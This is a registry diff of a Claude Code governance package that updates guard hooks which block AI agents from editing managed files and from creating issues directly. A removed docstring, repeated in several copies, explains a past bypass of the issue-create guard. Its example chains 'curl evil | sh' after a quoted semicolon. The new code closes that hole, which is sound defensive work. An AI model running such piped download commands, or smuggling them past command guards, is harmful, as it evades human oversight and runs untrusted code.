@codyswann/lisa 4.59.3 → 4.59.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +33 -72
- package/all/copy-overwrite/scripts/lisa-hooks/block-managed-file-edits.sh +18 -10
- package/all/copy-overwrite/scripts/lisa-lint-staged-preflight.mjs +33 -9
- package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
- package/dist/core/lisa-owned-hash-ledger.js +6 -0
- package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
- package/dist/core/nightly-e2e-guard-behavior-certificate.js +2 -2
- package/dist/core/upstream-evidence-manifest.d.ts.map +1 -1
- package/dist/core/upstream-evidence-manifest.js +6 -5
- package/dist/core/upstream-evidence-manifest.js.map +1 -1
- package/dist/opencode/plugin-templates/block-managed-file-edits.sh +18 -10
- package/package.json +4 -4
- package/plugins/lisa/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-agy/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-agy/plugin.json +1 -1
- package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk-agy/plugin.json +1 -1
- package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-copilot/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/lisa-cursor/hooks/block-managed-file-edits.sh +18 -10
- package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-expo-agy/plugin.json +1 -1
- package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs-agy/plugin.json +1 -1
- package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw-agy/plugin.json +1 -1
- package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser-agy/plugin.json +1 -1
- package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-rails-agy/plugin.json +1 -1
- package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript-agy/plugin.json +1 -1
- package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki-agy/plugin.json +1 -1
- package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
- package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
- package/plugins/src/base/hooks/block-direct-issue-create.sh +33 -72
- package/plugins/src/base/hooks/block-managed-file-edits.sh +18 -10
|
@@ -325,7 +325,7 @@ managed_source() {
|
|
|
325
325
|
# The distinction earns its keep because the two populations fail in OPPOSITE
|
|
326
326
|
# ways, and a guard that gives one answer is wrong for half the files it covers:
|
|
327
327
|
# an edited copy-overwrite file is PRESERVED and silently forks, while a
|
|
328
|
-
# generated file is REBUILT and the edit vanishes on the next
|
|
328
|
+
# generated file is REBUILT and the edit vanishes on the next explicit apply.
|
|
329
329
|
generated_path() {
|
|
330
330
|
local rel="$1"
|
|
331
331
|
local module="$package_root/dist/migrations/generated-paths.js"
|
|
@@ -364,16 +364,24 @@ refuse() {
|
|
|
364
364
|
local target="$1"
|
|
365
365
|
local source="$2"
|
|
366
366
|
local rel="$3"
|
|
367
|
-
local consequence
|
|
368
367
|
if generated_path "$rel"; then
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
368
|
+
cat >&2 <<EOF
|
|
369
|
+
BLOCKED: refusing to write \`$target\`.
|
|
370
|
+
|
|
371
|
+
WHY: this file is generated by \`lisa apply\` (\`$source\`).
|
|
372
|
+
\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
|
|
373
|
+
rebuilds it, so a direct edit will be lost.
|
|
374
|
+
|
|
375
|
+
Change the generation source upstream in Lisa, or the supported project
|
|
376
|
+
configuration that supplies it, then run \`lisa apply\` to regenerate the file.
|
|
377
|
+
|
|
378
|
+
If a human explicitly asked for this edit, they can re-run with
|
|
379
|
+
\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
|
|
380
|
+
EOF
|
|
381
|
+
exit 2
|
|
382
|
+
fi
|
|
383
|
+
local consequence
|
|
384
|
+
if ledger_tracked "$rel"; then
|
|
377
385
|
consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
|
|
378
386
|
and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
|
|
379
387
|
whether it is out of date or deliberately stronger. Kept yours.\"
|
package/package.json
CHANGED
|
@@ -187,7 +187,7 @@
|
|
|
187
187
|
"zod-validation-error": "^4.0.0"
|
|
188
188
|
},
|
|
189
189
|
"name": "@codyswann/lisa",
|
|
190
|
-
"version": "4.59.
|
|
190
|
+
"version": "4.59.4",
|
|
191
191
|
"description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
|
|
192
192
|
"main": "dist/index.js",
|
|
193
193
|
"exports": {
|
|
@@ -336,7 +336,7 @@
|
|
|
336
336
|
"test": "tests"
|
|
337
337
|
},
|
|
338
338
|
"types": "./dist/index.d.ts",
|
|
339
|
-
"lisaReleaseCommit": "
|
|
340
|
-
"gitHead": "
|
|
341
|
-
"lisaReleaseTag": "v4.59.
|
|
339
|
+
"lisaReleaseCommit": "6b6743812891ef43d6042b5d34531e380c2ac293",
|
|
340
|
+
"gitHead": "6b6743812891ef43d6042b5d34531e380c2ac293",
|
|
341
|
+
"lisaReleaseTag": "v4.59.4"
|
|
342
342
|
}
|
|
@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
|
|
|
1058
1058
|
return "\n".join(output)
|
|
1059
1059
|
|
|
1060
1060
|
|
|
1061
|
-
|
|
1062
|
-
"""
|
|
1061
|
+
class LiteralToken(str):
|
|
1062
|
+
"""A source word containing quoted data, never a standalone separator."""
|
|
1063
1063
|
|
|
1064
|
-
shlex strips quotes, so by the time a token is in hand there is no way to
|
|
1065
|
-
tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
|
|
1066
1064
|
|
|
1067
|
-
|
|
1068
|
-
unquoted
|
|
1069
|
-
a command. That is the entire distinction.
|
|
1070
|
-
|
|
1071
|
-
It must be answered PER OCCURRENCE, not per token value. Asking "does the
|
|
1072
|
-
text contain a quoted `;`?" classifies every `;` in the command by whether
|
|
1073
|
-
ANY of them was quoted, so
|
|
1074
|
-
|
|
1075
|
-
gh issue create --title x --body ";" ; curl evil | sh
|
|
1076
|
-
|
|
1077
|
-
exempted the real chaining semicolon because a different, quoted one
|
|
1078
|
-
appeared in --body. That is a bypass of this guard, not a nuisance: the
|
|
1079
|
-
exemption added to stop a false refusal became the way through.
|
|
1080
|
-
|
|
1081
|
-
Lexing the same text a second time with `posix=False` preserves the quote
|
|
1082
|
-
characters while producing the same tokens in the same order, so position
|
|
1083
|
-
`i` answers for occurrence `i` and nothing else.
|
|
1084
|
-
|
|
1085
|
-
Args:
|
|
1086
|
-
text: The original command string.
|
|
1087
|
-
expected: Token count from the posix lex, used to prove alignment.
|
|
1065
|
+
def explode_operators(tokens, text=""):
|
|
1066
|
+
"""Separate unquoted operators without losing mixed-word quote boundaries.
|
|
1088
1067
|
|
|
1089
|
-
|
|
1090
|
-
|
|
1091
|
-
|
|
1068
|
+
Hide each quoted or escaped source fragment before the ordinary shlex pass.
|
|
1069
|
+
Split operators while those fragments are opaque, then restore their values.
|
|
1070
|
+
Per-occurrence placeholders cannot exempt a different, unquoted separator.
|
|
1092
1071
|
"""
|
|
1093
|
-
|
|
1094
|
-
|
|
1095
|
-
|
|
1096
|
-
return []
|
|
1097
|
-
# Alignment is the whole basis for indexing one lex by the other's
|
|
1098
|
-
# positions. If the two disagree, fail closed rather than exempt the wrong
|
|
1099
|
-
# token: a missed exemption is a false refusal, a wrong one is a bypass.
|
|
1100
|
-
if len(raw) != expected:
|
|
1101
|
-
return []
|
|
1102
|
-
return [token[:1] in ('"', "'") for token in raw]
|
|
1103
|
-
|
|
1072
|
+
operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
|
|
1073
|
+
if not text:
|
|
1074
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1104
1075
|
|
|
1105
|
-
|
|
1106
|
-
|
|
1076
|
+
prefix = "__lisa_literal_"
|
|
1077
|
+
while prefix in text:
|
|
1078
|
+
prefix += "_"
|
|
1079
|
+
values = []
|
|
1080
|
+
fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
|
|
1107
1081
|
|
|
1108
|
-
|
|
1109
|
-
|
|
1110
|
-
|
|
1082
|
+
def hide(match):
|
|
1083
|
+
"""Decode one protected fragment through the same POSIX lexer."""
|
|
1084
|
+
value = shlex.split(match.group(0), posix=True)
|
|
1085
|
+
values.append(value[0] if value else "")
|
|
1086
|
+
return prefix + str(len(values) - 1) + "__"
|
|
1111
1087
|
|
|
1112
|
-
|
|
1113
|
-
|
|
1114
|
-
semicolon, the `--label status:ready` landed in a different segment from the
|
|
1115
|
-
`gh issue create`, and the guard refused a correctly-formed filing while
|
|
1116
|
-
telling the author to add the label they had already added. Recorded on
|
|
1117
|
-
CodySwannGT/lisa#2634 after it blocked a real filing.
|
|
1088
|
+
masked = fragments.sub(hide, text)
|
|
1089
|
+
marker = re.compile(re.escape(prefix) + r"(\d+)__")
|
|
1118
1090
|
|
|
1119
|
-
|
|
1120
|
-
|
|
1121
|
-
|
|
1122
|
-
the exact regression the GLUED_OPERATORS comment above records as having
|
|
1123
|
-
silently un-refused every GraphQL creation.
|
|
1091
|
+
def restore(value):
|
|
1092
|
+
"""Restore once, so decoded text cannot become another placeholder."""
|
|
1093
|
+
return marker.sub(lambda match: values[int(match.group(1))], value)
|
|
1124
1094
|
|
|
1125
|
-
|
|
1126
|
-
|
|
1127
|
-
|
|
1095
|
+
shadow = shlex.split(masked, posix=True)
|
|
1096
|
+
if [restore(token) for token in shadow] != tokens:
|
|
1097
|
+
# If alignment cannot be established, grant no quoting exemptions.
|
|
1098
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1128
1099
|
|
|
1129
|
-
Returns:
|
|
1130
|
-
Tokens with operators separated out.
|
|
1131
|
-
"""
|
|
1132
|
-
pattern = re.compile(
|
|
1133
|
-
"(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
|
|
1134
|
-
)
|
|
1135
1100
|
exploded = []
|
|
1136
|
-
|
|
1137
|
-
|
|
1138
|
-
if index < len(quoted) and quoted[index]:
|
|
1139
|
-
exploded.append(token)
|
|
1140
|
-
continue
|
|
1141
|
-
for piece in pattern.split(token):
|
|
1101
|
+
for token in shadow:
|
|
1102
|
+
for piece in operators.split(token):
|
|
1142
1103
|
if piece:
|
|
1143
|
-
exploded.append(piece)
|
|
1104
|
+
exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
|
|
1144
1105
|
return exploded
|
|
1145
1106
|
|
|
1146
1107
|
|
|
@@ -1156,7 +1117,7 @@ def segment(tokens):
|
|
|
1156
1117
|
segments = []
|
|
1157
1118
|
current = []
|
|
1158
1119
|
for token in tokens:
|
|
1159
|
-
if token in SEGMENT_BOUNDARIES:
|
|
1120
|
+
if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
|
|
1160
1121
|
segments.append(current)
|
|
1161
1122
|
current = []
|
|
1162
1123
|
continue
|
|
@@ -325,7 +325,7 @@ managed_source() {
|
|
|
325
325
|
# The distinction earns its keep because the two populations fail in OPPOSITE
|
|
326
326
|
# ways, and a guard that gives one answer is wrong for half the files it covers:
|
|
327
327
|
# an edited copy-overwrite file is PRESERVED and silently forks, while a
|
|
328
|
-
# generated file is REBUILT and the edit vanishes on the next
|
|
328
|
+
# generated file is REBUILT and the edit vanishes on the next explicit apply.
|
|
329
329
|
generated_path() {
|
|
330
330
|
local rel="$1"
|
|
331
331
|
local module="$package_root/dist/migrations/generated-paths.js"
|
|
@@ -364,16 +364,24 @@ refuse() {
|
|
|
364
364
|
local target="$1"
|
|
365
365
|
local source="$2"
|
|
366
366
|
local rel="$3"
|
|
367
|
-
local consequence
|
|
368
367
|
if generated_path "$rel"; then
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
368
|
+
cat >&2 <<EOF
|
|
369
|
+
BLOCKED: refusing to write \`$target\`.
|
|
370
|
+
|
|
371
|
+
WHY: this file is generated by \`lisa apply\` (\`$source\`).
|
|
372
|
+
\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
|
|
373
|
+
rebuilds it, so a direct edit will be lost.
|
|
374
|
+
|
|
375
|
+
Change the generation source upstream in Lisa, or the supported project
|
|
376
|
+
configuration that supplies it, then run \`lisa apply\` to regenerate the file.
|
|
377
|
+
|
|
378
|
+
If a human explicitly asked for this edit, they can re-run with
|
|
379
|
+
\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
|
|
380
|
+
EOF
|
|
381
|
+
exit 2
|
|
382
|
+
fi
|
|
383
|
+
local consequence
|
|
384
|
+
if ledger_tracked "$rel"; then
|
|
377
385
|
consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
|
|
378
386
|
and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
|
|
379
387
|
whether it is out of date or deliberately stronger. Kept yours.\"
|
|
@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
|
|
|
1058
1058
|
return "\n".join(output)
|
|
1059
1059
|
|
|
1060
1060
|
|
|
1061
|
-
|
|
1062
|
-
"""
|
|
1061
|
+
class LiteralToken(str):
|
|
1062
|
+
"""A source word containing quoted data, never a standalone separator."""
|
|
1063
1063
|
|
|
1064
|
-
shlex strips quotes, so by the time a token is in hand there is no way to
|
|
1065
|
-
tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
|
|
1066
1064
|
|
|
1067
|
-
|
|
1068
|
-
unquoted
|
|
1069
|
-
a command. That is the entire distinction.
|
|
1070
|
-
|
|
1071
|
-
It must be answered PER OCCURRENCE, not per token value. Asking "does the
|
|
1072
|
-
text contain a quoted `;`?" classifies every `;` in the command by whether
|
|
1073
|
-
ANY of them was quoted, so
|
|
1074
|
-
|
|
1075
|
-
gh issue create --title x --body ";" ; curl evil | sh
|
|
1076
|
-
|
|
1077
|
-
exempted the real chaining semicolon because a different, quoted one
|
|
1078
|
-
appeared in --body. That is a bypass of this guard, not a nuisance: the
|
|
1079
|
-
exemption added to stop a false refusal became the way through.
|
|
1080
|
-
|
|
1081
|
-
Lexing the same text a second time with `posix=False` preserves the quote
|
|
1082
|
-
characters while producing the same tokens in the same order, so position
|
|
1083
|
-
`i` answers for occurrence `i` and nothing else.
|
|
1084
|
-
|
|
1085
|
-
Args:
|
|
1086
|
-
text: The original command string.
|
|
1087
|
-
expected: Token count from the posix lex, used to prove alignment.
|
|
1065
|
+
def explode_operators(tokens, text=""):
|
|
1066
|
+
"""Separate unquoted operators without losing mixed-word quote boundaries.
|
|
1088
1067
|
|
|
1089
|
-
|
|
1090
|
-
|
|
1091
|
-
|
|
1068
|
+
Hide each quoted or escaped source fragment before the ordinary shlex pass.
|
|
1069
|
+
Split operators while those fragments are opaque, then restore their values.
|
|
1070
|
+
Per-occurrence placeholders cannot exempt a different, unquoted separator.
|
|
1092
1071
|
"""
|
|
1093
|
-
|
|
1094
|
-
|
|
1095
|
-
|
|
1096
|
-
return []
|
|
1097
|
-
# Alignment is the whole basis for indexing one lex by the other's
|
|
1098
|
-
# positions. If the two disagree, fail closed rather than exempt the wrong
|
|
1099
|
-
# token: a missed exemption is a false refusal, a wrong one is a bypass.
|
|
1100
|
-
if len(raw) != expected:
|
|
1101
|
-
return []
|
|
1102
|
-
return [token[:1] in ('"', "'") for token in raw]
|
|
1103
|
-
|
|
1072
|
+
operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
|
|
1073
|
+
if not text:
|
|
1074
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1104
1075
|
|
|
1105
|
-
|
|
1106
|
-
|
|
1076
|
+
prefix = "__lisa_literal_"
|
|
1077
|
+
while prefix in text:
|
|
1078
|
+
prefix += "_"
|
|
1079
|
+
values = []
|
|
1080
|
+
fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
|
|
1107
1081
|
|
|
1108
|
-
|
|
1109
|
-
|
|
1110
|
-
|
|
1082
|
+
def hide(match):
|
|
1083
|
+
"""Decode one protected fragment through the same POSIX lexer."""
|
|
1084
|
+
value = shlex.split(match.group(0), posix=True)
|
|
1085
|
+
values.append(value[0] if value else "")
|
|
1086
|
+
return prefix + str(len(values) - 1) + "__"
|
|
1111
1087
|
|
|
1112
|
-
|
|
1113
|
-
|
|
1114
|
-
semicolon, the `--label status:ready` landed in a different segment from the
|
|
1115
|
-
`gh issue create`, and the guard refused a correctly-formed filing while
|
|
1116
|
-
telling the author to add the label they had already added. Recorded on
|
|
1117
|
-
CodySwannGT/lisa#2634 after it blocked a real filing.
|
|
1088
|
+
masked = fragments.sub(hide, text)
|
|
1089
|
+
marker = re.compile(re.escape(prefix) + r"(\d+)__")
|
|
1118
1090
|
|
|
1119
|
-
|
|
1120
|
-
|
|
1121
|
-
|
|
1122
|
-
the exact regression the GLUED_OPERATORS comment above records as having
|
|
1123
|
-
silently un-refused every GraphQL creation.
|
|
1091
|
+
def restore(value):
|
|
1092
|
+
"""Restore once, so decoded text cannot become another placeholder."""
|
|
1093
|
+
return marker.sub(lambda match: values[int(match.group(1))], value)
|
|
1124
1094
|
|
|
1125
|
-
|
|
1126
|
-
|
|
1127
|
-
|
|
1095
|
+
shadow = shlex.split(masked, posix=True)
|
|
1096
|
+
if [restore(token) for token in shadow] != tokens:
|
|
1097
|
+
# If alignment cannot be established, grant no quoting exemptions.
|
|
1098
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1128
1099
|
|
|
1129
|
-
Returns:
|
|
1130
|
-
Tokens with operators separated out.
|
|
1131
|
-
"""
|
|
1132
|
-
pattern = re.compile(
|
|
1133
|
-
"(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
|
|
1134
|
-
)
|
|
1135
1100
|
exploded = []
|
|
1136
|
-
|
|
1137
|
-
|
|
1138
|
-
if index < len(quoted) and quoted[index]:
|
|
1139
|
-
exploded.append(token)
|
|
1140
|
-
continue
|
|
1141
|
-
for piece in pattern.split(token):
|
|
1101
|
+
for token in shadow:
|
|
1102
|
+
for piece in operators.split(token):
|
|
1142
1103
|
if piece:
|
|
1143
|
-
exploded.append(piece)
|
|
1104
|
+
exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
|
|
1144
1105
|
return exploded
|
|
1145
1106
|
|
|
1146
1107
|
|
|
@@ -1156,7 +1117,7 @@ def segment(tokens):
|
|
|
1156
1117
|
segments = []
|
|
1157
1118
|
current = []
|
|
1158
1119
|
for token in tokens:
|
|
1159
|
-
if token in SEGMENT_BOUNDARIES:
|
|
1120
|
+
if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
|
|
1160
1121
|
segments.append(current)
|
|
1161
1122
|
current = []
|
|
1162
1123
|
continue
|
|
@@ -325,7 +325,7 @@ managed_source() {
|
|
|
325
325
|
# The distinction earns its keep because the two populations fail in OPPOSITE
|
|
326
326
|
# ways, and a guard that gives one answer is wrong for half the files it covers:
|
|
327
327
|
# an edited copy-overwrite file is PRESERVED and silently forks, while a
|
|
328
|
-
# generated file is REBUILT and the edit vanishes on the next
|
|
328
|
+
# generated file is REBUILT and the edit vanishes on the next explicit apply.
|
|
329
329
|
generated_path() {
|
|
330
330
|
local rel="$1"
|
|
331
331
|
local module="$package_root/dist/migrations/generated-paths.js"
|
|
@@ -364,16 +364,24 @@ refuse() {
|
|
|
364
364
|
local target="$1"
|
|
365
365
|
local source="$2"
|
|
366
366
|
local rel="$3"
|
|
367
|
-
local consequence
|
|
368
367
|
if generated_path "$rel"; then
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
368
|
+
cat >&2 <<EOF
|
|
369
|
+
BLOCKED: refusing to write \`$target\`.
|
|
370
|
+
|
|
371
|
+
WHY: this file is generated by \`lisa apply\` (\`$source\`).
|
|
372
|
+
\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
|
|
373
|
+
rebuilds it, so a direct edit will be lost.
|
|
374
|
+
|
|
375
|
+
Change the generation source upstream in Lisa, or the supported project
|
|
376
|
+
configuration that supplies it, then run \`lisa apply\` to regenerate the file.
|
|
377
|
+
|
|
378
|
+
If a human explicitly asked for this edit, they can re-run with
|
|
379
|
+
\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
|
|
380
|
+
EOF
|
|
381
|
+
exit 2
|
|
382
|
+
fi
|
|
383
|
+
local consequence
|
|
384
|
+
if ledger_tracked "$rel"; then
|
|
377
385
|
consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
|
|
378
386
|
and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
|
|
379
387
|
whether it is out of date or deliberately stronger. Kept yours.\"
|
|
@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
|
|
|
1058
1058
|
return "\n".join(output)
|
|
1059
1059
|
|
|
1060
1060
|
|
|
1061
|
-
|
|
1062
|
-
"""
|
|
1061
|
+
class LiteralToken(str):
|
|
1062
|
+
"""A source word containing quoted data, never a standalone separator."""
|
|
1063
1063
|
|
|
1064
|
-
shlex strips quotes, so by the time a token is in hand there is no way to
|
|
1065
|
-
tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
|
|
1066
1064
|
|
|
1067
|
-
|
|
1068
|
-
unquoted
|
|
1069
|
-
a command. That is the entire distinction.
|
|
1070
|
-
|
|
1071
|
-
It must be answered PER OCCURRENCE, not per token value. Asking "does the
|
|
1072
|
-
text contain a quoted `;`?" classifies every `;` in the command by whether
|
|
1073
|
-
ANY of them was quoted, so
|
|
1074
|
-
|
|
1075
|
-
gh issue create --title x --body ";" ; curl evil | sh
|
|
1076
|
-
|
|
1077
|
-
exempted the real chaining semicolon because a different, quoted one
|
|
1078
|
-
appeared in --body. That is a bypass of this guard, not a nuisance: the
|
|
1079
|
-
exemption added to stop a false refusal became the way through.
|
|
1080
|
-
|
|
1081
|
-
Lexing the same text a second time with `posix=False` preserves the quote
|
|
1082
|
-
characters while producing the same tokens in the same order, so position
|
|
1083
|
-
`i` answers for occurrence `i` and nothing else.
|
|
1084
|
-
|
|
1085
|
-
Args:
|
|
1086
|
-
text: The original command string.
|
|
1087
|
-
expected: Token count from the posix lex, used to prove alignment.
|
|
1065
|
+
def explode_operators(tokens, text=""):
|
|
1066
|
+
"""Separate unquoted operators without losing mixed-word quote boundaries.
|
|
1088
1067
|
|
|
1089
|
-
|
|
1090
|
-
|
|
1091
|
-
|
|
1068
|
+
Hide each quoted or escaped source fragment before the ordinary shlex pass.
|
|
1069
|
+
Split operators while those fragments are opaque, then restore their values.
|
|
1070
|
+
Per-occurrence placeholders cannot exempt a different, unquoted separator.
|
|
1092
1071
|
"""
|
|
1093
|
-
|
|
1094
|
-
|
|
1095
|
-
|
|
1096
|
-
return []
|
|
1097
|
-
# Alignment is the whole basis for indexing one lex by the other's
|
|
1098
|
-
# positions. If the two disagree, fail closed rather than exempt the wrong
|
|
1099
|
-
# token: a missed exemption is a false refusal, a wrong one is a bypass.
|
|
1100
|
-
if len(raw) != expected:
|
|
1101
|
-
return []
|
|
1102
|
-
return [token[:1] in ('"', "'") for token in raw]
|
|
1103
|
-
|
|
1072
|
+
operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
|
|
1073
|
+
if not text:
|
|
1074
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1104
1075
|
|
|
1105
|
-
|
|
1106
|
-
|
|
1076
|
+
prefix = "__lisa_literal_"
|
|
1077
|
+
while prefix in text:
|
|
1078
|
+
prefix += "_"
|
|
1079
|
+
values = []
|
|
1080
|
+
fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
|
|
1107
1081
|
|
|
1108
|
-
|
|
1109
|
-
|
|
1110
|
-
|
|
1082
|
+
def hide(match):
|
|
1083
|
+
"""Decode one protected fragment through the same POSIX lexer."""
|
|
1084
|
+
value = shlex.split(match.group(0), posix=True)
|
|
1085
|
+
values.append(value[0] if value else "")
|
|
1086
|
+
return prefix + str(len(values) - 1) + "__"
|
|
1111
1087
|
|
|
1112
|
-
|
|
1113
|
-
|
|
1114
|
-
semicolon, the `--label status:ready` landed in a different segment from the
|
|
1115
|
-
`gh issue create`, and the guard refused a correctly-formed filing while
|
|
1116
|
-
telling the author to add the label they had already added. Recorded on
|
|
1117
|
-
CodySwannGT/lisa#2634 after it blocked a real filing.
|
|
1088
|
+
masked = fragments.sub(hide, text)
|
|
1089
|
+
marker = re.compile(re.escape(prefix) + r"(\d+)__")
|
|
1118
1090
|
|
|
1119
|
-
|
|
1120
|
-
|
|
1121
|
-
|
|
1122
|
-
the exact regression the GLUED_OPERATORS comment above records as having
|
|
1123
|
-
silently un-refused every GraphQL creation.
|
|
1091
|
+
def restore(value):
|
|
1092
|
+
"""Restore once, so decoded text cannot become another placeholder."""
|
|
1093
|
+
return marker.sub(lambda match: values[int(match.group(1))], value)
|
|
1124
1094
|
|
|
1125
|
-
|
|
1126
|
-
|
|
1127
|
-
|
|
1095
|
+
shadow = shlex.split(masked, posix=True)
|
|
1096
|
+
if [restore(token) for token in shadow] != tokens:
|
|
1097
|
+
# If alignment cannot be established, grant no quoting exemptions.
|
|
1098
|
+
return [piece for token in tokens for piece in operators.split(token) if piece]
|
|
1128
1099
|
|
|
1129
|
-
Returns:
|
|
1130
|
-
Tokens with operators separated out.
|
|
1131
|
-
"""
|
|
1132
|
-
pattern = re.compile(
|
|
1133
|
-
"(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
|
|
1134
|
-
)
|
|
1135
1100
|
exploded = []
|
|
1136
|
-
|
|
1137
|
-
|
|
1138
|
-
if index < len(quoted) and quoted[index]:
|
|
1139
|
-
exploded.append(token)
|
|
1140
|
-
continue
|
|
1141
|
-
for piece in pattern.split(token):
|
|
1101
|
+
for token in shadow:
|
|
1102
|
+
for piece in operators.split(token):
|
|
1142
1103
|
if piece:
|
|
1143
|
-
exploded.append(piece)
|
|
1104
|
+
exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
|
|
1144
1105
|
return exploded
|
|
1145
1106
|
|
|
1146
1107
|
|
|
@@ -1156,7 +1117,7 @@ def segment(tokens):
|
|
|
1156
1117
|
segments = []
|
|
1157
1118
|
current = []
|
|
1158
1119
|
for token in tokens:
|
|
1159
|
-
if token in SEGMENT_BOUNDARIES:
|
|
1120
|
+
if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
|
